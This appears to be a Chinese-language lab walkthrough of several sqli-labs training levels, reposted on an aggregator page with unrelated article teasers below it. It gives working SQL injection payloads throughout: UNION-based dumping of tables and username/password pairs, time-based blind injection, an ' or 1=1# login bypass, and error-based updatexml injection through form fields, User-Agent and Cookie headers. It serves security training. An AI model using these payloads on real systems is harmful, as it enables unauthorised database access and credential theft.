sqli-labs闯关

news2024/12/23 15:07:06

less-01:

less-08:

less-11:

less-18:

less-19:

less-20:


Sqli-labs项目地址—Github

使用HackBar插件

less-01:


Sqli-labs前20关均为数字型注入

Sqli-labs前四关较为类似以less-01为模板

将网址导入HackBar中:

1.根据提示,输入http://127.0.0.1/sqli/Less-1/?id=1'查看注入:

正常报错,输入--+进行注释:

2.输入http://127.0.0.1/sqli/Less-1/?id=1' order by 1--+查找:

出现用户名和密码。

继续输入 order by 2--+,order by 3--+,当输入 order by 4--+时:

出现报错,说明数据库只有三列

3.输入http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,3--+

来判断三列数据的回显点,用1,2,3来标记:

4.输入http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,database()--+在3回显点处输出当前数据库名:

5.输入http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,table_name from information_schema.tables where table_schema='security' limit 1,1--+查看位于security库下的第一个表:

limit 0,1; 其中第一位是从第几个开始,比如0代表从第一个开始,而第二位的1代表的就是显示多少个数据。(security库中)

通过limit x,1可以一个一个查看表名,也可使用函数将数据一起输出:

concat()函数用于将多个字符串连接成一个字符串。

语法及使用特点: concat(str1,str2,…)

group_cincat()函数返回一个字符串结果,该结果由分组中的值连接组合而成。

6.输入http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+查看库中所有的表:

7.输入http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,column_name from information_schema.columns where table_name='users' limit 0,1--+查看user表中的第一个列:

同上运用函数可输出所有的列:

8.输入http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,concat_ws('~',username,password) from security.users limit 1,1--+查看一个账号和密码以“~”隔开

concat_ws()函数指定参数之间的分隔符

使用语法为:concat_ws(separator,str1,str2,…)

结合函数可得到所有账号和密码:

less-08:


输入http://127.0.0.1/sqli-labs-master/Less-8/?id=1'--+

判断这里出现注入漏洞‘

此关盲注有两种方法:

(1)布尔盲注:

与第五关完全相同。

(2)时间盲注:

IF(condition,A,B)

如果条件condition为true,则执行语句A,否则执行B

输入 http://127.0.0.1/sqli/Less-8/?id=1' and if(length(database()) = 8,1,sleep(5))--+

即当数据库长度为8的时候很快加载,而为其他值得时候加载较慢(5s左右),那就说明此时数据库的长度就是8(security)。

也有 http://127.0.0.1/sqli/Less-8/?id=1' and if(ascii(substr((select database()),1,1)) >113,1,sleep(5))--+

如果当前数据库的第一个字母的ascii值大于113的时候,会立刻返回结果,否则执行5s。

通过时间盲注的方式,可以用盲注的流程得到数据。
 

第十一关开始都为POST传输方式:

可在主页直接填写进行POST传输,也可使用HarkBar的POST传输方式:

less-11:


POST传输方式

这是正确的登录界面:

在username中填写',出现报错可知存在注入漏洞。

在username中填写 admin' or 1=1#

(此处不能使用--+,因为--+主要使用在url中,#是通用的)

或uname=a' or 1=1 #& passwd=a &submit=Submit

登录成功,可以验证存在注入漏洞.

也可在password位置进行验证:uname=a&passwd=a' or 1=1# &submit=Submit

一样可以成功登录。

使用uname=a' order by 2#&passwd=a &submit=Submit

或用 uname=a&passwd=a' order by 2# &submit=Submit

可判断有两列。

使用uname=a&passwd=a' union select 1,database() # &submit=Submit 或用uname=a' union select 1,database() # &passwd=a&submit=Submit

可查询到当前数据库信息。

剩下的原理与前五关相同:

使用uname=a' union select 1,(select schema_name from information_schema.schemata limit 1,1) # &passwd=a&submit=Submit 可以查询到当前的第一个数据库, 或用:uname=a' union select 1,(select group_concat(schema_name) from information_schema.schemata) # &passwd=a&submit=Submit 可以得到所有的数据库。

uname=a' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479) # &passwd=a&submit=Submit 可以得到security数据库中的所有的表信息.

uname=a' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273) # &passwd=a&submit=Submit 通过users表获得里面值

uname=a' union select 1, group_concat(concat_ws('~',username,password)) from security.users # &passwd=a&submit=Submit 此时就可以得到里面所有的数据。

less-17:
•使用了get_magic_quotes_gpc , name和password分开验证,而且在验证的时候对于name进行了过滤处理,将’进行了转义

•首先我们要知道用户的名字是多少,然后才可以进行接下来的操作

这里用updatexml()报错注入

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

而我们的注入语句为:

select updatexml(1,concat(0x7e,()),1)

其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出结果

输入 uname=admin&passwd=adm ' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)#&submit=Submit

可以得到security库下面的其中一个表名字,也可改变参数或取其他表。

输入uname=admin&passwd=adm ' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1)#&submit=Submit

同样的方法可以获得其他的数据

注意:
十七关可以改密码,改动会保存在数据库中。

less-18:


Harder注入.

登录失败显示ip地址:

登录成功显示ip地址和User-Agent:

经测试用户名和密码处有转义无法进行注入,需用burpsuite进行抓包,进行Harder注入.

先进行抓包:

将' or updatexml(1,concat(0x7e,(database())),1), '','')# 填入User-Agent中进行注入

可知道当前库。

同样输入' or updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1), '','')#

获取库名。

输入' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1), '','')#

获取表名。

输入' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),1), '','')#

获取列名。

输入' or updatexml(1,concat(0x7e,(select username from security.users limit 0,1)),1), '','')#

获取字段吗名等。

less-19:


登陆成功会显示Referer信息:

登陆失败不显示任何信息:

此关除此之外与十八关无任何区别。

less-20:


登录成功:

本关将username放在了cookie里,可在cookie里进行注入。

使用burpsuite进行抓包:

可见username在cookie里。

在cookie里输入' union select 1,2,database()#

接下来就是在cookie里进行简单的注入像前五关。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/970905.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

laragon 为 php 安装 Xdebug 扩展

众所周知,php 自带的 var_dump() 输出格式很不直观 而 laragon 作为很好的 windos 下开发环境很受欢迎,本文就介绍如何快速为 laragon 的 php 安装 Xdebug,方便开发调试 一:启动开发环境,在任意可访问 php 页面中输出 …

Matlab中fdatool结合STM32F4设计滤波器

数字滤波器的原理 1.从功能上分;低通、带通、高通、带阻。滤波器口诀:低通滤高频;高通滤低频;带通滤两边;带阻阻中间; 2.从实现方法上分:FIR、IIR 3.从设计方法上来分:Chebyshev(切比雪夫&…

哪家证券公司能做股票的量化交易?

一般证券公司都是能做股票的量化交易的,证券公司主流使用的量化软件一般是P-trade或QMT。其中P-trade普通版更适合没有太多编程经验的投资者使用,可以直接应用软件中现成的程序进行交易,QMT适合专业的投资者,有一定学编程语言基础…

34k*16 薪,3年自动化测试历经3轮面试成功拿下字节Offer....

前言 转眼过去,距离读书的时候已经这么久了吗?,从18年5月本科毕业入职了一家小公司,到现在快4年了,前段时间社招想着找一个新的工作,前前后后花了一个多月的时间复习以及面试,前几天拿到了字节…

国产信创替代迫在眉睫,如何选择合适的信创文件传输系统?

当今世界正经历着百年未有之大变局,随着时代发展进步,党的二十大也对于加快建设数字中国做出了重要部署。只有牵制住自主创新这么一个关键点,以关键核心技术突破推动实现高水平科技自立自强,才能牢牢掌握数字经济发展的主动权。自…

手写Mybatis:第11章-流程解耦,封装结果集处理器

文章目录 一、目标:结果集处理器二、设计:结果集处理器三、实现:结果集处理器3.1 工程结构3.2 结果集处理器关系图3.3 出参参数处理3.3.1 结果映射Map3.3.2 结果映射封装3.3.3 修改映射器语句类3.3.4 映射构建器助手3.3.5 语句构建器调用助手…

Java“牵手”京东商品评论数据接口方法,京东商品评论接口,京东商品评价接口,行业数据监测,京东API实现批量商品评论内容数据抓取示例

京东平台商品评论数据接口是开放平台提供的一种API接口,通过调用API接口,开发者可以获取京东商品的标题、价格、库存、月销量、总销量、库存、详情描述、图片、评论内容、评论日期、评论图片、追评内容等详细信息 。 获取商品评论接口API是一种用于获取…

无涯教程-JavaScript - DCOUNTA函数

描述 DCOUNTA函数返回列表或数据库中符合您指定条件的列中非空白单元格的计数。 此函数与DCOUNT函数相似,不同之处在于DCOUNTA函数对所有非空白单元进行计数。 DCOUNT函数仅计算包含数值的单元格。 语法 DCOUNTA (database, field, criteria)争论 Argument描述Required/Op…

参编三大金融国标,奇富科技以技术促行业规范化演进

近期,由中国互联网金融协会领导制定的《互联网金融智能风险防控技术要求》《互联网金融个人网络消费信贷信息披露》《互联网金融个人身份识别技术要求》三项国家标准颁布,由国家市场监督管理总局、国家标准化管理委员会发布,奇富科技作为核心…

sqli-labs例题复现

less-1.1 在源码中$id$_GET[id];之后加入如下代码: if(preg_match(/select\b[\s\S]*\bfrom/is,$id)){die(SQL Injection); }; 1.分析正则 第一个\b匹配select单词边界,\s\S匹配到所有字符,最后一个\b匹配到from单词边界。 select...from…

超详细!80个Python入门实例,代码清晰拿来即用,学习提升必备

对于大部分Python学习者来说,核心知识基本已经掌握了,但"纸上得来终觉浅,绝知此事要躬行",要想完全掌握Python,还得靠实践应用。 今天给大家分享80个Python入门实例,都是基础实例,经典实用&…

问道管理:什么是大盘?大盘股又是什么?

聊到股市就免不了聊到大盘,有些新进场的投资者对此或许带有疑问,什么是大盘?我们所说的大盘股又是什么?关于这些,问道管理为我们准备了以下参考内容。 什么是大盘? 大盘,主要是指股市的整体行情…

最新secureCRT成功安装教程含资源链接

下载压缩包解压,如下双击安装: 打开按步骤导入就可以了 secureCRT 正常打开连上ubuntu的效果: 界面还没配置,还需根据个人爱好配置一下。 时间就是金钱,按下面链接操作完会自动弹出下载窗口,下载大概要三四…

算法leetcode|76. 最小覆盖子串(rust重拳出击)

文章目录 76. 最小覆盖子串:样例 1:样例 2:样例 3:提示:进阶: 分析:在这里插入图片描述 题解:rust:go:c:python:java: 76.…

动态贴纸、美颜SDK与AR:创造独特的互动体验

目前,动态贴纸、美颜SDK、增强现实(AR)等技术是比较热门的话题,它们所结合的新兴玩法更是收到大家推崇,正潜移默化的改变我们与数字世界互动的方式。 一、动态贴纸:个性化互动的开始 动态贴纸&#xff0c…

智能聊天机器人,帮你排解烦恼!

在繁忙的生活中,你是否曾经感到压力和烦恼无处宣泄?现在,我们为你带来了一款全新的智能聊天机器人,它能够倾听你的心声,理解你的情绪,为你提供安慰和支持,让你告别烦恼,重拾快乐生活…

ToBeWritten之基于ATTCK的运营流程与实践

也许每个人出生的时候都以为这世界都是为他一个人而存在的,当他发现自己错的时候,他便开始长大 少走了弯路,也就错过了风景,无论如何,感谢经历 转移发布平台通知:将不再在CSDN博客发布新文章,敬…

Mysql底层数据结构为什么选择B+树

索引底层采用什么数据结构,为什么使用B树而不是其他数据结构: (1)如果采用二叉树:使用递增字段作为索引时,二叉树会退化成链表,查找效率太低 (2)如果采用红黑树&#xf…

2023年新风口,Kwai快手海外公会入驻详细指南!

Kwai快手海外公会发展前景作为中国短视频市场的领头羊,Kwai快手在海外市场也取得了一定的成绩。但是,海外市场的发展前景还存在一些不确定因素,需要快手进一步探索和努力。首先,海外市场对于内容的申请找cmxyci要求与国内市场有所…

系统学习Linux-zabbix监控平台

一、zabbix的基本概述 zabbix是一个监控软件,其可以监控各种网络参数,保证企业服务架构安全运营,同时支持灵活的告警机制,可以使得运维人员快速定位故障、解决问题。zabbix支持分布式功能,支持复杂架构下的监控解决方…